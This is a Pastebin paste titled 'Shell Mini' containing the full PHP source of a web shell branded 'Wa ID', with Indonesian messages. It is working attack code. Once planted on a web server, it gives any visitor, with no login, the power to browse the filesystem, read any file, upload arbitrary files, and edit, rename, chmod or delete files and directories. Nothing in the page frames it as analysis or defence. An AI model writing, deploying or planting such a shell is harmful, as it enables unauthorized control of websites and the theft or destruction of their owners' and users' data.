AgungHekel

Shell Mini

Feb 7th, 2018 (edited)
230
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.37 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10. echo '<!DOCTYPE HTML>
  11. <html>
  12. <head>
  13. <link href="" rel="stylesheet" type="text/css">
  14. <title>Wa ID</title>
  15. <style>
  16. body{
  17. font-family: "Racing Sans One", cursive;
  18. background-color: black;
  19. color: white;
  20. }
  21. #content tr:hover{
  22. background-color: white;
  23. text-shadow:0px 0px 10px #fff;
  24. }
  25. #content .first{
  26. background-color: blue;
  27. }
  28. table{
  29. border: 1px #000000 dotted;
  30. }
  31. a{
  32. color:blue;
  33. text-decoration: none;
  34. }
  35. a:hover{
  36. color:blue;
  37. text-shadow:0px 0px 10px #ffffff;
  38. }
  39. input,select,textarea{
  40. border: 1px #000000 solid;
  41. -moz-border-radius: 5px;
  42. -webkit-border-radius:5px;
  43. border-radius:5px;
  44. }
  45. </style>
  46. </head>
  47.  
  48. <body>
  49. <h1><center><font color="blue">Wa ID</font></center></h1>
  50. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  51. <tr><td><font color="blue">Path :</font> ';
  52. if(isset($_GET['path'])){
  53. $path = $_GET['path'];
  54. }else{
  55. $path = getcwd();
  56. }
  57. $path = str_replace('\\','/',$path);
  58. $paths = explode('/',$path);
  59.  
  60. foreach($paths as $id=>$pat){
  61. if($pat == '' && $id == 0){
  62. $a = true;
  63. echo '<a href="?path=/">/</a>';
  64. continue;
  65. }
  66. if($pat == '') continue;
  67. echo '<a href="?path=';
  68. for($i=0;$i<=$id;$i++){
  69. echo "$paths[$i]";
  70. if($i != $id) echo "/";
  71. }
  72. echo '">'.$pat.'</a>/';
  73. }
  74. echo '</td></tr><tr><td>';
  75. if(isset($_FILES['file'])){
  76. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  77. echo '<font color="blue">Upload Berhasil Kakak</font><br />';
  78. }else{
  79. echo '<font color="red">Upload Gagal Kakak</font><br/>';
  80. }
  81. }
  82. echo '<form enctype="multipart/form-data" method="POST">
  83. <font color="blue">File Upload :</font> <input type="file" name="file" />
  84. <input type="submit" value="upload" />
  85. </form>
  86. </td></tr>';
  87. if(isset($_GET['filesrc'])){
  88. echo "<tr><td>Current File : ";
  89. echo $_GET['filesrc'];
  90. echo '</tr></td></table><br />';
  91. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  92. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  93. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  94. if($_POST['opt'] == 'chmod'){
  95. if(isset($_POST['perm'])){
  96. if(chmod($_POST['path'],$_POST['perm'])){
  97. echo '<font color="blue">Change Permission Berhasil Kakak</font><br/>';
  98. }else{
  99. echo '<font color="red">Change Permission Gagal Kakak</font><br />';
  100. }
  101. }
  102. echo '<form method="POST">
  103. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  104. <input type="hidden" name="path" value="'.$_POST['path'].'">
  105. <input type="hidden" name="opt" value="chmod">
  106. <input type="submit" value="Go" />
  107. </form>';
  108. }elseif($_POST['opt'] == 'rename'){
  109. if(isset($_POST['newname'])){
  110. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  111. echo '<font color="blue">Ganti Nama Berhasil Kakak </font><br/>';
  112. }else{
  113. echo '<font color="red">Ganti Nama Gagal Kakak </font><br />';
  114. }
  115. $_POST['name'] = $_POST['newname'];
  116. }
  117. echo '<form method="POST">
  118. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  119. <input type="hidden" name="path" value="'.$_POST['path'].'">
  120. <input type="hidden" name="opt" value="rename">
  121. <input type="submit" value="Go" />
  122. </form>';
  123. }elseif($_POST['opt'] == 'edit'){
  124. if(isset($_POST['src'])){
  125. $fp = fopen($_POST['path'],'w');
  126. if(fwrite($fp,$_POST['src'])){
  127. echo '<font color="blue">Berhasil Edit File Kakak</font><br/>';
  128. }else{
  129. echo '<font color="red">Gagal Edit File Kakak </font><br/>';
  130. }
  131. fclose($fp);
  132. }
  133. echo '<form method="POST">
  134. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  135. <input type="hidden" name="path" value="'.$_POST['path'].'">
  136. <input type="hidden" name="opt" value="edit">
  137. <input type="submit" value="Save" />
  138. </form>';
  139. }
  140. echo '</center>';
  141. }else{
  142. echo '</table><br/><center>';
  143. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  144. if($_POST['type'] == 'dir'){
  145. if(rmdir($_POST['path'])){
  146. echo '<font color="blue">Directory Terhapus Kakak</font><br/>';
  147. }else{
  148. echo '<font color="red">Directory Gagal Terhapus Kakak                                                                                                                                                                                                                                                                                             </font><br/>';
  149. }
  150. }elseif($_POST['type'] == 'file'){
  151. if(unlink($_POST['path'])){
  152. echo '<font color="blue">File Terhapus Kakak</font><br/>';
  153. }else{
  154. echo '<font color="red">File Gagal Dihapus Kakak</font><br/>';
  155. }
  156. }
  157. }
  158. echo '</center>';
  159. $scandir = scandir($path);
  160. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  161. <tr class="first">
  162. <td><center>Name</peller></center></td>
  163. <td><center>Size</peller></center></td>
  164. <td><center>Permission</peller></center></td>
  165. <td><center>Modify</peller></center></td>
  166. </tr>';
  167.  
  168. foreach($scandir as $dir){
  169. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  170. echo '<tr>
  171. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  172. <td><center>--</center></td>
  173. <td><center>';
  174. if(is_writable($path.'/'.$dir)) echo '<font color="blue">';
  175. elseif(!is_readable($path.'/'.$dir)) echo '<font color="blue">';
  176. echo perms($path.'/'.$dir);
  177. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  178.  
  179. echo '</center></td>
  180. <td><center><form method="POST" action="?option&path='.$path.'">
  181. <select name="opt">
  182. <option value="">Select</option>
  183. <option value="delete">Delete</option>
  184. <option value="chmod">Chmod</option>
  185. <option value="rename">Rename</option>
  186. </select>
  187. <input type="hidden" name="type" value="dir">
  188. <input type="hidden" name="name" value="'.$dir.'">
  189. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  190. <input type="submit" value=">">
  191. </form></center></td>
  192. </tr>';
  193. }
  194. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  195. foreach($scandir as $file){
  196. if(!is_file($path.'/'.$file)) continue;
  197. $size = filesize($path.'/'.$file)/1024;
  198. $size = round($size,3);
  199. if($size >= 1024){
  200. $size = round($size/1024,2).' MB';
  201. }else{
  202. $size = $size.' KB';
  203. }
  204.  
  205. echo '<tr>
  206. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  207. <td><center>'.$size.'</center></td>
  208. <td><center>';
  209. if(is_writable($path.'/'.$file)) echo '<font color="blue">';
  210. elseif(!is_readable($path.'/'.$file)) echo '<font color="blue">';
  211. echo perms($path.'/'.$file);
  212. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  213. echo '</center></td>
  214. <td><center><form method="POST" action="?option&path='.$path.'">
  215. <select name="opt">
  216. <option value="">Select</option>
  217. <option value="delete">Delete</option>
  218. <option value="chmod">Chmod</option>
  219. <option value="rename">Rename</option>
  220. <option value="edit">Edit</option>
  221. </select>
  222. <input type="hidden" name="type" value="file">
  223. <input type="hidden" name="name" value="'.$file.'">
  224. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  225. <input type="submit" value=">">
  226. </form></center></td>
  227. </tr>';
  228. }
  229. echo '</table>
  230. </div>';
  231. }
  232. echo '<center><br/><font color="blue"/>Wa ID</center>
  233. </body>
  234. </html>';
  235. function perms($file){
  236. $perms = fileperms($file);
  237.  
  238. if (($perms & 0xC000) == 0xC000) {
  239. // Socket
  240. $info = 's';
  241. } elseif (($perms & 0xA000) == 0xA000) {
  242. // Symbolic Link
  243. $info = 'l';
  244. } elseif (($perms & 0x8000) == 0x8000) {
  245. // Regular
  246. $info = '-';
  247. } elseif (($perms & 0x6000) == 0x6000) {
  248. // Block special
  249. $info = 'b';
  250. } elseif (($perms & 0x4000) == 0x4000) {
  251. // Directory
  252. $info = 'd';
  253. } elseif (($perms & 0x2000) == 0x2000) {
  254. // Character special
  255. $info = 'c';
  256. } elseif (($perms & 0x1000) == 0x1000) {
  257. // FIFO pipe
  258. $info = 'p';
  259. } else {
  260. // Unknown
  261. $info = 'u';
  262. }
  263.  
  264. // Owner
  265. $info .= (($perms & 0x0100) ? 'r' : '-');
  266. $info .= (($perms & 0x0080) ? 'w' : '-');
  267. $info .= (($perms & 0x0040) ?
  268. (($perms & 0x0800) ? 's' : 'x' ) :
  269. (($perms & 0x0800) ? 'S' : '-'));
  270.  
  271. // Group
  272. $info .= (($perms & 0x0020) ? 'r' : '-');
  273. $info .= (($perms & 0x0010) ? 'w' : '-');
  274. $info .= (($perms & 0x0008) ?
  275. (($perms & 0x0400) ? 's' : 'x' ) :
  276. (($perms & 0x0400) ? 'S' : '-'));
  277.  
  278. // World
  279. $info .= (($perms & 0x0004) ? 'r' : '-');
  280. $info .= (($perms & 0x0002) ? 'w' : '-');
  281. $info .= (($perms & 0x0001) ?
  282. (($perms & 0x0200) ? 't' : 'x' ) :
  283. (($perms & 0x0200) ? 'T' : '-'));
  284.  
  285. return $info;
  286. }
  287. ?>
Add Comment
Please, Sign In to add comment